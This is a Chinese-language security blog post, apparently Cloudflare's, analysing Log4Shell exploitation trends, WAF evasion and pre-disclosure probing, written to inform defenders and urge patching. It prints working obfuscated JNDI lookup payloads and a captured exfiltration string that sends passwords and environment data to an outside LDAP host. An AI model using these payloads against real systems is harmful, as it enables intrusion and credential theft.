在此部落格文章中,我們將探討世界上常見的 WAF 規避模式與滲漏嘗試、所嘗試之漏洞利用的趨勢資料,以及我們在 CVE-2021-44228 公開揭露之前看到的漏洞利用相關資訊。

簡而言之,我們在公開揭露的八天前,也就是 12 月 1 日看到了漏洞的有限測試。我們看到第一個嘗試是在公開揭露之後僅僅九分鐘就利用了漏洞,這顯示攻擊者非常快就利用到新發現的問題。

我們也看到有大量嘗試想要規避試著執行簡易封鎖的 WAF;我們看到大量的嘗試想要滲漏資料,包括金鑰憑證和密碼。

WAF 規避模式與滲漏嘗試

自從 CVE-2021-44228(現在通稱為 Log4Shell)揭露之後,我們看到攻擊者從使用簡易的攻擊字串,變成主動嘗試規避 WAF 的封鎖。WAF 提供實用的工具來阻擋外部攻擊者,且 WAF 規避通常是用來嘗試取得過去的簡單規則。

在 Log4j 漏洞遭到利用的早期階段中,攻擊者是使用非模糊的字串(通常是以 ${jndi:dns、${jndi:rmi 和 ${jndi:ldap 為開頭),而且尋找這些模式的簡易規則相當有效。

很快地,在這些字串遭到封鎖之後,攻擊者轉而使用規避技巧。他們過去和現在都是使用標準規避技巧(字元逸出或編碼)和針對 Log4j 查閱語言所量身打造的特定規避。

任何具備功能的 WAF 都將能夠處理標準技巧。將 ${ 編碼為 %24%7B\u0024\u007b 等技巧,都能夠在套用規則來檢查是否使用特定漏洞利用之前輕鬆還原。

但是,Log4j 語言具備一些豐富的功能,能夠遮蔽部分 WAF 尋找的金鑰字串。例如 ${lower} 查閱會將字串變成小寫。因此,${lower:H} 會變成 h。攻擊者會利用查閱來偽裝關鍵字串,像是 jndi,因此有助於規避 WAF。

在外部,我們發現會使用 ${date}、${lower}、${upper}、${web}、${main} 和 ${env} 進行規避。此外,也會使用 ${env}、${sys} 和 ${main}(以及其他適用於 Docker、Kubernetes 和其他系統的專屬查閱)來滲漏來自目標處理環境的資料(包括關鍵金鑰)。

為了更深入瞭解此語言如何使用,以下是一小段透過 Log4j 將命令串中的字串擷取並記錄到主控台的 Java 程式:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4jTester{
    private static final Logger logger = LogManager.getLogger(log4jTester.class);
       
    public static void main(String[] args) {
	logger.error(args[0]);
    }
}

這個簡易的程式會寫入主控台。以下會記錄 hide 這個單字。

$ java log4jTester.java 'hide'
01:28:25.606 [main] ERROR log4jTester - hide

Log4j 語言會允許在 ${} 內部使用 ${},因此攻擊者得以結合多個不同的關鍵字來進行規避。例如,下方的 ${lower:${lower:h}}${lower:${upper:i}}${lower:D}e 會記錄為 hide 一詞。這讓攻擊者能夠輕鬆規避 ${jndi 等簡單搜尋,因為 jndi 的字母可以透過簡易的方式隱藏。

$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'
01:30:42.015 [main] ERROR log4jTester - hide

其他主要的規避技巧則是利用 :- 語法。該語法可讓攻擊者針對某個查閱設定預設值,而且如果所查閱的值為空白,就會輸出預設值。因此,舉例來說,就可以透過查閱不存在的環境變數來輸出某個單字的字母。

$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}' 
01:35:34.280 [main] ERROR log4jTester - hide

類似的技巧會搭配使用 ${web}、${main} 等,以及 ${::-h} 或 ${::::::-h} 字串(這兩者都會變成 h)。此外,當然也會結合使用這些技巧來進行越來越精巧的規避嘗試。

為了瞭解規避是如何發動的,以下表格顯示了在 WAF 封鎖中出現的非模糊 ${jndi:(橘色線條)、${lower} 查閱的使用(綠色線條)、URI 編碼的使用(藍色線條),以及一種越來越普遍的特定規避 ${${::-j}${::-n}${::-d}${::-i}(紅色線條)。

一開始的幾天,規避相對稀少。但是現在,雖然 ${jndi: 等原生字串依然相當普遍,但規避已經發動,而且 WAF 必須封鎖這些改良後的攻擊。

我們上週撰寫過多數與偵察相關的漏洞利用初始階段相關文章。在那之後,攻擊者已轉至資料擷取。

我們發現他們使用 ${env} 來擷取環境變數,並使用 ${sys} 來取得有關執行 Log4j 之系統的資訊。其中有一次在外部遭到封鎖的攻擊,曾嘗試從多個 Log4j 查閱滲漏大量資料:

${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}

您可以在其中看到使用者、主目錄、Docker 影像名稱、Kubernetes 和 Spring 的詳細資料、使用者和資料庫的密碼、主機名稱,以及遭到滲漏的命令串引數。

因為規避和滲漏 WAF 相當複雜,廠商必須留意是否出現任何 ${,並將其視為可疑。因此,我們會額外提供方式來處理傳送給客戶的任何記錄,以便將 ${ 轉換為 x{。

Cloudflare WAF 團隊不斷地努力封鎖嘗試的漏洞利用,但客戶仍然務必使用最新的 Log4j 來修補系統或套用防護。因為所記錄的資料不一定是透過網際網路而來,因此無論系統是否以網際網路為面向,都必須進行修補。

所有付費客戶都擁有可設定的 WAF 規則可協助防止 CVE-2021-44228,我們也為免費客戶部署了防護。

CVE-2021-44228 漏洞利用趨勢

Cloudflare 已快速制定 WAF 規則來協助封鎖這些攻擊。以下圖表顯示這些遭封鎖的攻擊如何演變。

從 12 月 10 日到 12 月 13 日,我們發現每分鐘封鎖的數量有所攀升,如下所示。

日期 每分鐘遭封鎖的平均要求次數
2021 年 12 月 10 日 5,483
2021 年 12 月 11 日 18,606
2021 年 12 月 12 日 27,439
2021 年 12 月 13 日 24,642

在我們初期的部落格文章中,我們曾註明加拿大(下方的綠色線條)是嘗試漏洞利用的最大來源國家。正如我們所預測,該情況並未持續,而且攻擊是來自世界各地,無論是直接來自伺服器或透過代理。

揭露之前的 CVE-2021-44228 漏洞利用

CVE-2021-44228 是在 UTC 時間 2021 年 12 月 9 日 14:25 透過一則推文揭露(現在已刪除):

但是,我們的系統在 2021 年 12 月 1 日擷取到三個嘗試過漏洞利用或掃描的實例,如下所示。我已將其中的 IP 位址和網域名稱模糊化。這三個實例都在 HTTP User-Agent 標頭、Referer 標頭和 URI 參數中注入了 ${jndi:ldap} 查閱。

2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D

2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D						

2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}	
Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D	

在這三個嘗試之後,我們並沒有發現進一步的活動,一直到公開揭露之後的九分鐘為止,才有人嘗試在遊戲網站上嘗試透過 URI 參數注入 ${jndi:ldap} 字串。

2021-12-09 14:34:31
Parameters: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}

結論

非常多的攻擊者目前正在積極地利用 CVE-2021-44228。WAF 是有助於防止外部攻擊的有效措施,但是並非萬無一失,攻擊者也在積極地尋求規避。資料和憑證的滲漏機率非常地高,而且更具破壞性的駭客入侵與攻擊的長期風險就在眼前。

請務必立即對使用 Log4j 的受影響軟體進行緩解和修補,刻不容緩。